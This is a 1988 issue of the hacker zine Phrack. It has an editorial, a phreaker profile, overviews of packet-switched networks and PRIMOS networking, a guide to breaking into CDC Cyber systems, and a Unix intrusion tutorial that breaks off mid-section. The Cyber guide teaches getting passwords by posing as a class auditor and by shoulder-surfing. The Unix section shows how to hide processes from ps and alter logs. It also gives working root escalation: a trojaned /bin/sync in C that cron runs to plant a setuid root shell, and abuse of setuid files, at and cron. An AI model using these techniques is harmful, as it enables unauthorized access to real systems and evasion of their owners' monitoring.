==Phrack Inc.==

Volume Two, Issue 18, Phile #1 of 11

Index
=====
June 7, 1988

Well, Phrack Inc. is still alive but have changed editors again. I, Crimson Death am now the new editor of Phrack Inc. The reason why I am the new editor is because of the previous editors in school and they did not just have the time for it. So, if you would like to submit an article for Phrack Inc. please contact: Crimson Death, Control C, or Epsilon, or call my BBS (The Forgotten Realm) or one of the BBSes on the sponsor BBS listing (Found in PWN Part 1). We are ALWAYS looking for more files to put in upcoming issues. Well, that about does it for me. I hope you enjoy Phrack 18 as much as we at The Forgotten Realm did bringing it to you. Later...

Crimson Death
Sysop of The Forgotten Realm

This issue of Phrack Inc. includes the following:

==========

==Phrack Inc.==

Volume Two, Issue 18, Phile #2 of 11

==Phrack Pro-Phile XI==

Written and Created by Crimson Death

Welcome to Phrack Pro-Phile XI. Phrack Pro-Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a name familiar to most in the BBS world...

Ax Murderer

Ax Murderer is popular to many of stronger names in the P/H community.

Personal

Handle:	Ax Murderer
Call him:	Mike
Past handles:	None
Handle origin:	Thought of it while on CompuServe.
Date of Birth:	10/04/72
Age at current date:	15
Height:	6' 2''
Weight:	205 Lbs.
Eye color:	Brown
Hair Color:	Brown
Computers:	IBM PC, Apple II+, Apple IIe
Sysop/Co-Sysop of:	The Outlet Private, Red-Sector-A, The Autobahn

---

Ax Murderer started phreaking and hacking in 1983 through the help of some of his friends. Members of the Hack/Phreak world which he has met include Control C, Bad Subscript, The Timelord. Some of the memorable phreak/hack BBS's he was/is on included WOPR, OSUNY, Plovernet, Pirate 80, Shadow Spawn, Metal Shop Private, Sherwood Forest (213), IROC, Dragon Fire, and Shadowland. His phreaking and hacking knowledge came about with a group of people in which some included Forest Ranger and The Timelord.

Ax Murderer is a little more interested in Phreaking than hacking. He does like to program however, he can program in 'C', Basic, Pascal, and Machine Language.

The only group in which Ax Murderer has been in is Phoneline Phantoms.

Interests: Telecommunications (Modeming, phreaking, hacking, programming), football, track, cars, and music.

Ax Murderer's Favorite Thing

- His car... (A Buick Grand National)
- His gilrfriend... (Sue)
- Rock Music

Most Memorable Experiences

Newsweek Incident with Richard Sandza (He was the Judge for the tele-trial)

Some People to Mention

Forest Ranger (For introducing me to everyone and getting me on Dragon Fire)
Taran King (For giving me a chance on MSP and the P/H world)
Mind Bender (For having ANY utilities I ever needed)
The Necromancer (Getting me my Apple'cat)
The Titan (Helping me program the BBS)

All for being friends and all around good people and phreaks.

Ax Murderer is out and out against the idea of the destruction of data. He hated the incident with MIT where the hackers were just hacking it to destroy files on the system. He says that it ruins it for the everyone else and gives 'True Hackers' a bad name. He hates it when people hack to destroy, Ax has no respect for anyone who does this today. Where have all the good times gone?

I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in the near future.... And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? "No, not really." Thanks Mike.

Crimson Death
Sysop of The Forgotten Realm
==========

==Phrack Inc.==

Volume Two, Issue 18, Phile #3 of 11

An Introduction To Packet Switched Networks

Written By - Epsilon

Revised - 05/3/88

Preface -

In the past few years, Packet Switched Networks have become a prominent feature in the world of telecommunications. These networks have provided ways of communicating with virtually error-free data, over very large distances. These networks have become an imperative to many a corporation in the business world. In this file we will review some of the basic aspects of Packet Switched Networks.

Advantages -

The Packet Switched Network has many advantages to the common user, and even more to the hacker, which will be reviewed in the next topic.

The basis of a Packet Switched Network is the Packet Switch. This network enables the service user to connect to any number of hosts via a local POTS dial-up/port. The various hosts pay to be connected to this type of network, and that's why there is often a surcharge for connection to larger public services like Compuserve or The Source.

A Packet Switched Network provides efficient data transfer and lower rates than normal circuit switched calls, which can be a great convenience if you are planning to do a lot of transferring of files between you and the host.

Not only is the communication efficient, it is virtually error free. Whereas in normal circuit switched calls, there could be a drastic increase in errors, thus creating a bad transfer of data.

When using a Packet Switched Network, it is not important that you communicate at the same baud rate as your host. A special device regulates the speed so that the individual packets are sped up or slowed down, according to your equipment. Such a device is called a PAD (Packet Assembler Disassembler).

A PSN also provides access to a variety of information and news retrieval services. The user pays nothing for these calls, because the connections are collect. Although the user may have to subscribe to the service to take advantage of it's services, the connection is usually free, except for a surcharge on some of the larger subscription services.

Advantages To Hackers -

Packet Switched Networks, to me, are the best thing to come along since the

phone system. I'm sure many other hackers feel the same way. One of the reasons for this opinion is that when hacking a system, you need not dial out of your LATA, using codes or otherwise.

Now, the hacker no longer has to figure out what parameters he has to set his equipment to, to communicate with a target computer effectively. All PSSes use the same protocol, set by international standards. This protocol is called X.25. This protocol is used on every network-to-network call in the world.

When operating on a packet switch, you are not only limited to your own network (As if that wasn't enough already). You can access other PSSes or private data networks through gateways which are implemented in your PSN. There are gateways to virtually every network, from virtually every other network, except for extremely sensitive or private networks, in which case would probably be completely isolated from remote access.

Another advantage with PSNs is that almost everyone has a local port, which means if you have an outdial (Next paragraph), you can access regular circuit switched hosts via your local Packet Switched Network port. Since the ports are local, you can spend as much time as you want on it for absolutely no cost. So think about it. Access to any feasible network, including overseas PSNs and packet switches, access to almost any host, access to normal circuit switched telephone-reachable hosts via an outdial, and with an NUI (Network User Identity - Login and password entered at the @ prompt on Telenet), unlimited access to any NUA, reverse-charged or not.

Due to the recent abuse of long distance companies, the use of codes when making free calls is getting to be more and more hazardous. You may ask, 'Is there any resort to making free calls without using codes, and without using a blue box?' The answer is yes, but only when using data. With an outdial, accessible from your local PSN port, you can make data calls with a remote modem, almost always connected directly to a server, or a port selector. This method of communicating is more efficient, safer, and more reliable than using any code. Besides, with the implementation of equal access, and the elimination of 950 ports, what choice will you have?

Some Important Networks -

As aforementioned, PSNs are not only used in the United States. They are all over the place. In Europe, Asia, Canada, Africa, etc. This is a small summary of some of the more popular PSNs around the world.

Country	Network Name	*DNIC
Germany	Datex-P	2624
Canada	Datapac	3020
Italy	Datex-P	0222
South Africa	Saponet	0655
Japan	Venus-P	4408
England	Janet/PSS	2342
USA	Tymnet	3106
USA	Telenet	3110
USA	Autonet	3126
USA	RCA	3113
Australia	Austpac	0505
Ireland	Irepac	2724
Luxembourg	Luxpac	2704
Singapore	Telepac	5252
France	Transpac	2080
Switzerland	Telepac	2284

Sweden	Telepac	2405
Israel	Isranet	4251
~~	~~~~~~~	~~~~

* - DNIC (Data Network Identification Code)
Precede DNIC and logical address with a '0' when using Telenet.

Notes On Above Networks -

Some countries may have more than one Packet Switching Network. The ones listed are the more significant networks for each country. For example, the United States has eleven public Packet Switching Networks, but the four I listed are the major ones.

Several countries may also share one network, as shown above. Each country will have equal access to the network using the basic POTS dial-up ports.

Focus On Telenet -

Since Telenet is one of the most famous, and highly used PSNs in the United States, I thought that informing you of some of the more interesting aspects of this network would be beneficial.

Interconnections With Other Network Types -

Packet Switched Networks are not the only type of networks which connect a large capacity of hosts together. There are also Wide Area Networks, which operate on a continuous link basis, rather than a packet switched basis. These networks do not use the standardized X.25 protocol, and can only be reached by direct dial-ups, or by connecting to a host which has network access permissions. The point is, that if you wanted to reach, say, Arpanet from Telenet, you would have to have access to a host which is connected to both networks. This way, you can connect to the target host computer via Telenet, and use the WAN via the target host.

WANs aren't the only other networks you can access. Also, connections to other small, private, interoffice LANs are quite common and quite feasible.

Connections To International NUAs via NUIs -

When using an NUI, at the prompt, type 0+DNIC+NUA. After your connection is established, proceed to use the system you've reached.

Private Data Networks -

Within the large Packet Switched Networks that are accessible to us there are also smaller private networks. These networks can sometimes be very interesting as they may contain many different systems. A way to identify a private network is by looking at the three digit prefix. Most prefixes accessible by Telenet are based on area codes. Private networks often have a prefix that has nothing to do with any area code. (Ex. 322, 421, 224, 144) Those prefixes are not real networks, just examples.

Inside these private networks, there are often smaller networks which are connected with some type of host selector or gateway server. If you find something like this, there may be hosts that can be accessed only by this port selector/server, and not by the normal prefix. It is best to find out what these other addresses translate to, in case you are not able to access the server for some reason. That way, you always have a backup method of reaching the target system (Usually the addresses that are accessed by a gateway

server/port selector translate to normal NUAs accessible from your Telenet port).

When exploring a private network, keep in mind that since these networks are smaller, they would most likely be watched more closely during business hours then say Telenet or Tymnet. Try to keep your scanning and tinkering down to a minimum on business hours to avoid any unnecessary trouble. Remember, things tend to last longer if you don't abuse the hell out of them.

Summary -

I hope this file helped you out a bit, and at least gave you a general idea of what PSNs are used for, and some of the advantages of using these networks. If you can find something interesting during your explorations of PSNs, or Private Data Networks, share it, and spread the knowledge around. Definitely exploit what you've found, and use it to your advantage, but don't abuse it.

If you have any questions or comments, you reach me on -

The FreeWorld II/Central Office/Forgotten Realm/TOP.

I hope you enjoyed my file. Thanks for your time. I should be writing a follow up article to this one as soon as I can. Stay safe..

- Epsilon

- Thanks To -

Prime Suspect/Sir Qix/The Technic/Empty Promise/The Leftist

==Phrack Inc.==

Volume Two, Issue 18, Phile #4 of 11

```
-----------------------------------------------------------------------
-                                                                     -
-                                                                     -
-           PRIMOS:                                                   -
-                        NETWORK  COMMUNICATIONS                      -
-                                                                     -
-                        PRIMENET, RJE, DPTX                          -
-                                                                     -
-                                                                     -
- Presented by Magic Hasan                                 June 1988  -
-----------------------------------------------------------------------
```

PRIME's uniform operating system, PRIMOS, supports a wide range of communications products to suit any distributed processing need. The PRIMENET distributed networking facility provides complete local and remote network communication services for all PRIME systems. PRIME's Remote Job Entry (RJE) products enable multi-user PRIME systems to emulate IBM, CDC, Univac, Honeywell and ICL remote job entry terminals over synchronous communication lines. PRIME's Distributed Processing Terminal Executive (DPTX) allows users to construct communication networks with PRIME and IBM-compatible equipment.

PRIMENET

PRIMENET provides complete local and remote network communication services for all PRIME systems. PRIMENET networking software lets a user or process on one PRIME system communicate with any other PRIME system in the network without concern for any protocol details. A user can log in to any computer in the network from any terminal in the network. With PRIMENET, networking software processes running concurrently on different systems can communicate interactively. PRIMENET allows transparent access to any system in the network without burdening the user with extra commands.

PRIMENET has been designed and implemented so that user interface is simple and transparent. Running on a remote system from a local node of the network or accessing remote files requires no reprogramming of user applications or extensive user training. All the intricacies and communication protocols of the network are handled by the PRIMENET software. For both the local and remote networks, PRIMENET will allow users to share documents, files, and programs and use any disk or printer configured in the network.

For a local network between physically adjacent systems, PRIME offers the high-performance microprocessor, the PRIMENET Node Controller (PNC). The controller users direct memory access for low overhead and allows loosely coupled nodes to share resources in an efficient manner. The PNCs for each system are connected to each other with a coaxial cable to form a high-speed ring network, with up to 750 feet (230 meters) between any two systems.

Any system in the PNC ring can establish virtual circuits with any other system, making PNC-based networks "fully connected" with a direct path between each pair of systems. The ring has sufficient bandwidth (1 MB per second) and addressing capability to accommodate over 200 systems in a ring structure; however, PRIMENET currently supports up to sixteen systems on a ring to operate as a single local network.

The PRIMENET Node Controller is designed to assure continuity of operation

in the event that one of the systems fails. One system can be removed from the network or restored to on-line status without disturbing the operations of the other system. An active node is unaware of messages destined for other nodes in the network, and the CPU is notified only when a message for that node has been correctly received.

Synchronous communications over dedicated leased lines or dial-up lines is provided through the Multiple Data Link Controller (MDLC). This controller handles certain protocol formatting and data transfer functions normally performed by the operating system in other computers. The controller's microprogrammed architecture increases throughput by eliminating many tasks from central processor overhead.

The communications controller also supports multiple protocols for packet-switched communications with Public Data Networks such as the United States' TELENET and TYMNET, the Canadian DATAPAC, Great Britain's International Packet Switching Service (IPSS), France's TRANSPAC, and the European Packet Switching Network, EURONET. Most Public Data Networks require computers to use the CCITT X.25 protocol to deal with the management of virtual circuits between a system and others in the network. The synchronous communications controller supports this protocol. PRIME can provide the X.25 protocol for use with the PRIMENET networking software without modification to the existing hardware configuration.

PRIMENET software offers three distinct sets of services. The Inter-Program Communication Facility (IPCF) lets programs running under the PRIMOS operating system establish communications paths (Virtual circuits) to programs in the same or another PRIME system, or in other vendors' systems supporting the CCITT X.25 standard for packet switching networks. The Interactive Terminal Support (ITS) facility permits terminals attached to a packet switching network, or to another PRIME system, to log-in to a PRIME system with the same capabilities they would have if they were directly attached to the system. The File Access Manager (FAM) allows terminal users or programs running under the PRIMOS operating system to utilize files physically stored on other PRIME systems in a network. Remote file operations are logically transparent to the application program. This means no new applications and commands need to be learned for network operation.

The IPCF facility allows programs in a PRIME computer to exchange data with programs in the same computer, another PRIME computer, or another vendor's computer, assuming that that vendor supports X.25. This feature is the most flexible and powerful one that any network software package can provide. It basically allows an applications programmer to split up a program, so that different pieces of the program execute on different machines a network. Each program component can be located close to the resource (terminals, data, special peripherals, etc.) it must handle, decode the various pieces and exchange data as needed, using whatever message formats the application designer deems appropriate. The programmer sees PRIMENET's IPCF as a series of pipes through which data can flow. The mechanics of how the data flows are invisible; it just "happens" when the appropriate services are requested. If the two programs happen to end up on the same machine, the IPCF mechanism still works. The IPCF offers the following advantages:

1) The User does not need to understand the detailed mechanisms of communications software in order to communicate.
2) Calls are device-independent. The same program will work over physical links implemented by the local node controller (local network), leased lines, or a packet network.
3) Programs on one system can concurrently communicate

with programs on other systems using a single communications controller. PRIMENET handles all multiplexing of communications facilities.

4) A single program can establish multiple virtual circuits to other programs in the network.

PRIMENET's ITS facility allows an interactive terminal to have access to any machine in the network. This means that terminals can be connected into an X.25 packet network along with PRIME computers. Terminal traffic between two systems is multiplexed over the same physical facilities as inter-program data, so no additional hardware is needed to share terminals between systems.

This feature is ordinarily invisible to user programs, which cannot distinguish data entering via a packet network from data coming in over AMLC lines. A variant of the IPCF facility allows users to include the terminal handling protocol code in their own virtual space, thus enabling them to control multiple terminals on the packet network within one program. Terminals entering PRIMOS in this fashion do not pass through the usual log-in facility, but are immediately connected to the application program they request. (The application program provides whatever security checking is required.)

The result is the most effective available means to provide multi-system access to a single terminal, with much lower costs for data communications and a network which is truly available to all users without the expense of building a complicated private network of multiplexors and concentrators.

By utilizing PRIMENET's File Access Manager (FAM), programs running under PRIMOS can access files on other PRIME systems using the same mechanisms used to access local files. This feature allows users to move from a single-system environment to a multiple-system one without difficulty. When a program and the files it uses are separated into two (or more) systems the File Access Management (FAM)is automatically called upon whenever the program attempts to use the file. Remote file operations are logically transparent to the user or program.

When a request to locate a file or directory cannot be satisfied locally, the File Access Manager is invoked to find the data elsewhere in the network. PRIMOS initiates a remote procedure call to the remote system and suspends the user. This procedure call is received by an answering slave process on the remote system, which performs the requested operation and returns data via subroutine parameters. The slave process on the remote system is dedicated to its calling master process (user) on the local system until released. A master process (user) can have a slave process on each of several remote systems simultaneously. This means that each user has a dedicated connection for the duration of the remote access activity so many requests can be handled in parallel.

FAM operation is independent of the specific network hardware connecting the nodes. There is no need to rewrite programs or learn new commands when moving to the network environment. Furthermore, the user need only be logged-in to one system in the network, regardless of the location of the file. Files on the local system or remote systems can be accessed dynamically by file name within a program, using the language-specific open and close statements. No external job control language statements are needed for the program to access files. Inter-host file transfers and editing can be performed using the same PRIMOS utilities within the local system by referencing the remote files with their actual file names.

REMOTE JOB ENTRY

PRIME's Remote Job Entry (RJE) software enables a PRIME system to emulate IBM, CDC, Univac, Honeywell and ICL remote job entry terminals over synchronous communication lines. PRIME's RJE provides the same communications and peripheral support as the RJE terminals they emulate, appearing to the host processor to be those terminals. All PRIME RJE products provide three unique benefits:

* PRIME RJE is designed to communicate with multiple remote sites simultaneously.

* PRIME RJE enables any terminal connected to a PRIME system to submit jobs for transmission to remote processors, eliminating the requirement for dedicated terminals or RJE stations at each location.

* PRIME's mainframe capabilities permit concurrent running of RJE emulators, program development and production work.

PRIME's RJE supports half-duplex, point-to-point, synchronous communications and operates over dial-up and dedicated lines. It is fully supported by the PRIMOS operating system.

DISTRIBUTED PROCESSING TERMINAL EXECUTIVE (DPTX)

PRIME's Distributed Processing Terminal Executive (DPTX) allows users to construct communication networks with PRIME and IBM-compatible equipment. DPTX conforms to IBM 3271/3277 Display System protocols, and can be integrated into networks containing IBM mainframes, terminals and printers without changing application code or access methods and operates under the PRIMOS operating system.

DPTX is compatible with all IBM 370 systems and a variety of access methods and teleprocessing monitors: BTAM, TCAM, VTAM, IMS/VS, CIC/VS, and TSO. They provide transmission speeds up to 9600 bps using IBM's Binary Synchronous Communications (BSC) protocol.

DPTX is comprised of three software modules that allow PRIME systems to emulate and support IBM or IBM compatible 3271/3277 Display Systems. One module, Data Stream Compatibility (DPTX/DSC), allows the PRIME system to emulate the operation of a 3271 on the IBM system. This enables both terminal user and application programs (interactive or batch) on the PRIME System to reach application programs on an IBM mainframe. A second module, Terminal Support Facility (DPTX/TSF), allows a PRIME system to control a network of IBM 3271/3277 devices. This enables terminal users to reach application programs on a PRIME computer. The third module, Transparent Connect Facility (DPTX/TCF), combines the functions of modules one and two with additional software allowing 3277 terminal users to to reach programs on a IBM mainframe, even though the terminal subsystem is physically connected to a PRIME system, which is connected to an IBM system.

PRIMOS offers a variety of different Communication applications. Being able to utilize these applications to their fullest extent can make life easy for a Primos "enthusiast." If you're a beginner with Primos, the best way to learn more, as with any other system, is to get some "hands-on" experience. Look forward to seeing some beginner PRIMOS files in the near future. -MH

Special thanks to PRIME INC. for unwittingly providing the text for this

article.
==========
=

==Phrack Inc.==

Volume Two, Issue 18, Phile #5 of 11

```
 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=                                                                        =-
-=               Hacking Control Data Corporation's Cyber                 =-
-=                                                                        =-
-=               Written by Phrozen Ghost, April 23, 1988                 =-
-=                                                                        =-
-=                   Exclusively for Phrack Magazine                      =-
-=                                                                        =-
 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

This article will cover getting into and using NOS (Networking Operating System) version 2.5.2 running on a Cyber 730 computer. Cybers generally run this operating system so I will just refer to this environ- ment as Cyber. Also, Cyber is a slow and outdated operating system that is primarily used only for college campuses for running compilers. First off after you have scanned a bunch of carriers you will need to know how Cyber identifies itself. It goes like this:

```
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
FAMILY:
```

You would normally just hit return at the family prompt. Next prompt is:

```
USER NAME:
```

Usernames are in the format abcdxxx where a is the location of where the account is being used from (A-Z). the b is a grouping specifying privs and limits for the account- usually A-G -where A is the lowest access. Some examples of how they would be used in a college system:

```
A = lowest access - class accounts for students
B = slightly higher than A (for students working on large projects)
C = Much higher limits, these accounts are usually not too hard to get and
    they will normally last a long time!  Lab assistants use these.
D = Instructors, Lecturers, Professors.. etc..
E = same... (very hard to get these!)
```

```
The C and D positions are usually constant according to the groupings.
For example, a class would have accounts ranging from NADRAAA-AZZ
                                                          ^^^ ^^^
                                                 These can also be digits
```

There are also special operator accounts which start with digits instead of numbers. (ie 7ETPDOC) These accounts can run programs such as the monitor which can observe any tty connected to the system...

The next prompt will be for the password, student account passwords cannot be changed and are 7 random letters by default, other account passwords can be changed. You get 3 tries until you are logged out. It is very difficult if not impossible to use a brute force hacker or try to guess someone's account.. so how do you get on? Here's one easy way... Go down to your local college (make sure they have a Cyber computer!) then just buy a class catalog (they only cost around 50 cents) or you could look, borrow, steal someone else's... then find a pascal or fortran class that fits your schedule! You will only

have to attend the class 3 or 4 times max. Once you get there you should have no trouble, but if the instructor asks you questions about why you are not on the roll, just tell him that you are auditing the class (taking it without enrolling so it won't affect your GPA). The instructor will usually pass out accounts on the 3rd or 4th day of class.. this method also works well with just about any system they have on campus! Another way to get accounts is to go down to the computer lab and start snooping! Look over someone's shoulder while they type in their password, or look thru someone's papers while they're in the bathroom, or look thru the assistants desk while he is helping someone... (I have acquired accounts both ways, and the first way is a lot easier with less hassles) Also, you can use commas instead of returns when entering username and password.
Example: at the family prompt, you could type ,nadrajf,dsfgkcd
or at the username prompt nadrajf,dsfgkcd

After you enter your info, the system will respond with:

```
JSN: APXV, NAMIAF
/
```

The 'APXV, NAMIAF' could be different depending on what job you were attached to. The help program looks a lot neater if you have vt100 emulation, if you do, type [screen,vt100] (don't type the brackets! from now on, all commands I refer to will be enclosed in brackets) Then type help for an extensive tutorial or a list of commands. Your best bet at this point is to buy a quick reference guide at the campus because I am only going to describe the most useful commands. The / means you are in the batch subsystem, there are usually 6 or 7 other subsystems like basic, fortran, etc... return to batch mode by typing [batch].

Some useful commands:

```
CATLIST    -  will show permanent files in your directory.
ENQUIRE,F  -  displays temporary files in your workspace.
LIMITS     -  displays your privileges.
INFO       -  get more on-line help.
R          -  re-execute last command.
GET,fn     -  loads fn into the local file area.
CHANGE     -  change certain specs on a file.
PERMIT     -  allow other users to use one of your files.
REWIND,*   -  rewinds all your local files.
NEW,fn     -  creates new file.
PURGE      -  deletes files.
LIST,F=fn  -  list file.
UPROC      -  create an auto-execute procedure file.
MAIL       -  send/receive private mail.
BYE        -  logoff.
```

Use the [helpme,cmd] command for the exact syntax and parameters of these commands. There are also several machine specific 'application' programs such as pascal, fortran, spitbol, millions of others that you can look up with the INFO command... there are also the text editors; edit, xedit, and fse (full screen editor). Xedit is the easiest to use if you are not at a Telray 1061 terminal and it has full documentation. Simply type [xedit,fn] to edit the file 'fn'.

Special control characters used with Cyber:

Control S and Control Q work normally, the terminate character is Control T followed by a carriage return. If you wanted to break out of an auto-execute login program, you would have to hit ^T C/R very fast and repetitively in

order to break into the batch subsystem. Control Z is used to set environment variables and execute special low level commands, example: [^Z TM C/R] this will terminate your connection...

So now you're thinking, what the hell is Cyber good for? Well, they won't have any phone company records, and you can't get credit information from one, and I am not going to tell you how to crash it since crashing systems is a sin. There are uses for a Cyber though, one handy use is to set up a chat system, as there are normally 30-40 lines going into a large university Cyber system. I have the source for a chat program called the communicator that I will be releasing soon. Another use is some kind of underground information exchange that people frequently set up on other systems, this can easily be done with Cyber.

Procedure files:

A procedure file is similar to a batch file for MS-DOS, and a shell script for UNIX. You can make a procedure file auto-execute by using the UPROC command like [uproc,auto] will make the file 'auto', auto execute. There is also a special procedure file called the procfile in which any procedure may be accessed by simply a - in front of it. If your procfile read:

```
.proc,cn.
.*  sample procedure
$catlist/un=7etpdoc.
$exit.
```

then you could simply type -cn and the / prompt and it would execute the catlist command. Now back to uprocs, you could easily write a whole BBS in a procedure file or say you wanted to run a chat system and you did not want people to change the password on your account, you could do this:

```
.proc,chat,
PW"Password: "=(*A).
$ife,PW="cyber",yes.
   $chat.
   $revert.
   $bye.
$else,yes.
   $note./Wrong password, try again/.
   $revert.
   $bye.
$endif,yes.
```

This procedure will ask the user for a password and if he doesn't type "cyber" he will be logged off. If he does get it right then he will be dumped into the chat program and as soon as he exits the chat program, he will be logged off. This way, the user cannot get into the batch subsystem and change your password or otherwise screw around with the account. The following is a listing of the procfil that I use on my local system, it has a lot of handy utilities and examples...

---- cut here ----

```
.PROC,B.
.******BYE******
$DAYFILE.
$NOTE./////////////////////////
$ASCII.
$BYE.
$REVERT,NOLIST.
```

```
#EOR
.PROC,TIME.
.******GIVES DAY AND TIME******
$NOTE./THE CURRENT DAY AND TIME IS/
$FIND,CLOCK./
$REVERT,NOLIST.
#EOR
.PROC,SIGN*I,IN.
.******SIGN PRINT UTILITY******.
$GET,IN.
$FIND,SIGN,#I=IN,#L=OUT.
$NOTE./TO PRINT, TYPE:   PRINT,OUT,CC,RPS=??/
$REVERT,NOLIST.
#EOR
.PROC,TA.
.******TALK******
$SACFIND,AID,COMM.
$REVERT,NOLIST.
#EOR
.PROC,DIR,UN=,FILE=.
.******DIRECTORY LISTING OF PERMANENT FILES******
$GET(ZZZZDIR=CAT/#UN=1GTL0CL)
ZZZZDIR(FILE,#UN=UN)
$RETURN(ZZZZDIR)
$REVERT,NOLIST.
#EOR
.PROC,Z19.
.******SET SCREEN TO Z19******
$SCREEN,Z19.
$NOTE./SCREEN,Z19.
$REVERT,NOLIST.
#EOR
.PROC,VT.
.******SET SCREEN TO VT100******
$SCREEN,VT100.
$NOTE./SCREEN,VT100.
$REVERT,NOLIST
#EOR
.PROC,SC.
.******SET SCREEN TO T10******
$SCREEN,T10.
$NOTE./SCREEN,T10.
$REVERT,NOLIST
#EOR
.PROC,C.
.******CATLIST******
$CATLIST.
$REVERT,NOLIST.
#EOR
.PROC,CA.
.******CATLIST,LO=F******
$CATLIST,LO=F.
$REVERT,NOLIST.
#EOR
.PROC,MT.
.******BBS******
$SACFIND,AID,MTAB.
$REVERT,NOLIST.
#EOR
.PROC,LI,FILE=.
.******LIST FILE******
```

```
$GET,FILE.
$ASCII.
$COPY(FILE)
$REVERT.
$EXIT.
$CSET(NORMAL)
$REVERT,NOLIST. WHERE IS THAT FILE??
#EOR
.PROC,LOCAL.
.******DIRECTORY OF LOCAL FILES******
$RETURN(PROCLIB,YYYYBAD,YYYYPRC)
$GET(QQQFILE=ENQF/UN=1GTL0CL)
QQQFILE.
$REVERT,NOLIST.
$EXIT.
$REVERT. FILES ERROR
#EOR
.PROC,RL.
.******RAISE LIMITS******
$SETASL(*)
$SETJSL(*)
$SETTL(*)
$CSET(ASCII)
$NOTE./ Limits now at max validated levels.
$CSET(NORMAL)
$REVERT,NOLIST.
#EOR
.PROC,CL.
.******CLEAR******
$CLEAR,*.
$CSET(ASCII)
$NOTE./LOCAL FILE AREA CLEARED
$REVERT,NOLIST.
#EOR
.PROC,P,FILE=THING,LST=LIST.
.************************************************************
$CLEAR.
$GET(FILE)
$PASCAL4,FILE,LST.
$REVERT.
$EXIT.
$REWIND,*.
$CSET(ASCII)
$COPY(LIST)
$CSET(NORMAL)
$REVERT,NOLIST.
#EOR
.PROC,RE.
.******REWIND******
$REWIND,*.
$CSET(ASCII)
$NOTE./REWOUND.
$REVERT,NOLIST.
#EOR
.PROC,FOR,FILE,LST=LIST.
.*********************************************************************
$CLEAR.
$GET(FILE)
$FTN5,I=FILE,L=LST.
$REPLACE(LST=L)
$CSET(ASCII)
```

```
$REVERT. Fortran Compiled
$EXIT.
$REWIND,*.
$COPY(LST)
$REVERT. That's all folks.
#EOR
.PROC,WAR.
.******WARBLES******
$SACFIND,AID,WAR.
$REVERT,NOLIST.
#EOR
.PROC,M.
.******MAIL/CHECK******
$MAIL/CHECK.
$REVERT,NOLIST.
#EOR
.PROC,MA.
.******ENTER MAIL******
$MAIL.
$REVERT,NOLIST.
#EOR
.PROC,HE,FILE=SUMPROC,UN=.
.******HELP FILE******
$GET,FILE/#UN=UN.
$COPY(FILE)
$REVERT.
$EXIT.
$REVERT,NOLIST.
#EOR
.PROC,DYNAMO.
.******WHO KNOWS??******
$GET,DYNMEXP/UN=7ETPDOC.
$SKIPR,DYNMEXP.
$COPYBR,DYNMEXP,GO.
$FIND,DYNAMO,GO.
$REVERT,NOLIST.
#EOR
#EOR
#EOI
```

---- cut here ----

I have covered procfil's fairly extensively as I think it is the most useful function of Cyber for hackers. I will be releasing source codes for several programs including 'the communicator' chat utility, and a BBS program with a full message base. If you have any questions about Cyber or you have gotten into one and don't know what to do, I can be contacted at the Forgotten Realm BBS or via UUCP mail at ...!uunet!ncoast!ghost.

Phrozen Ghost

==========

==Phrack Inc.==

Volume Two, Issue 18, Phile #6 of 11

Unix for the Moderate

By: The Urvile, Necron 99, and a host of me.

Disclaimer:

This is mainly for system five. I do reference BSD occasionally, but I mark those. All those little weird brands (i.e., DEC's Ultrix, Xenix, and so on) can go to hell.

Security: (Improving yours.)

-Whenever logging onto a system, you should always do the following:

```
$ who -u
$ ps -ef
$ ps -u root
```

or BSD:

```
$ who; w; ps uaxg
```

This prints out who is on, who is active, what is going on presently, everything in the background, and so on.

And the ever popular:

```
$ find / -name "*log*" -print
```

This lists out all the files with the name 'log' in it. If you do find a process that is logging what you do, or an odd log file, change it as soon as you can.

If you think someone may be looking at you and you don't want to leave (Useful for school computers) then go into something that allows shell breaks, or use redirection to your advantage:

```
$ cat < /etc/passwd
```

That puts 'cat' on the ps, not 'cat /etc/passwd'.

If you're running a setuid process, and don't want it to show up on a ps (Not a very nice thing to have happen), then:

```
$ super_shell
# exec sh
```

Runs the setuid shell (super_shell) and puts something 'over' it. You may also want to run 'sh' again if you are nervous, because if you break out of an exec'ed process, you die. Neat, huh?

Improving your id:

-First on, you should issue the command 'id' & it will tell you you your uid and euid. (BSD: whoami; >/tmp/xxxx;ls -l /tmp/xxxx will tell you your id [whoami] and your euid [ls -l].), terribly useful for checking on setuid programs to see if you have root euid privs. Also, do this:

```
$ find / -perm -4000 -exec /bin/ls -lad {} ";"
```

Yes, this finds and does an extended list of all the files that have the setuid bit on them, like /bin/login, /bin/passwd, and so on. If any of

them look nonstandard, play with them, you never can tell what a ^| will do to them sometimes. Also, if any are writeable and executable, copy sh over them, and you'll have a setuid root shell. Just be sure to copy whatever was there back, otherwise your stay will probably be shortened a bit.

-What, you have the bin passwd?

Well, game over. You have control of the system. Everything in the bin directory is owned by bin (with the exception of a few things), so you can modify them at will. Since cron executes a few programs as root every once in a while, such as /bin/sync, try this:

```
main()
   {
        if (getuid()==0 || getuid()==0)        {
             system("cp /bin/sh /tmp/sroot");
             system("chmod 4777 /tmp/sroot");  }
        sync();
   }

$ cc file.c
$ cp /bin/sync /tmp/sync.old
$ mv a.out /bin/sync
$ rm file.c
```

Now, as soon as cron runs /bin/sync, you'll have a setuid shell in /tmp/sroot. Feel free to hide it.

-the 'at' & 'cron' commands:

Look at the 'at' dir. Usually /usr/spool/cron/atjobs. If you can run 'at' (check by typing 'at'), and 'lasttimedone' is writable, then: submit a blank 'at' job, edit 'lastimedone' to do what you want it to do, and move lasttimedone over your entry (like 88.00.00.00). Then the commands you put in lasttimedone will be ran as that file's owner. Cron: in /usr/spool/cron/cronjobs, there are a list of people running cron jobs. Cat root's, and see if he runs any of the programs owned by you (Without doing a su xxx -c "xxx"). For matter, check all the crons. If you can take one system login, you should be able to get the rest, in time.

-The disk files.

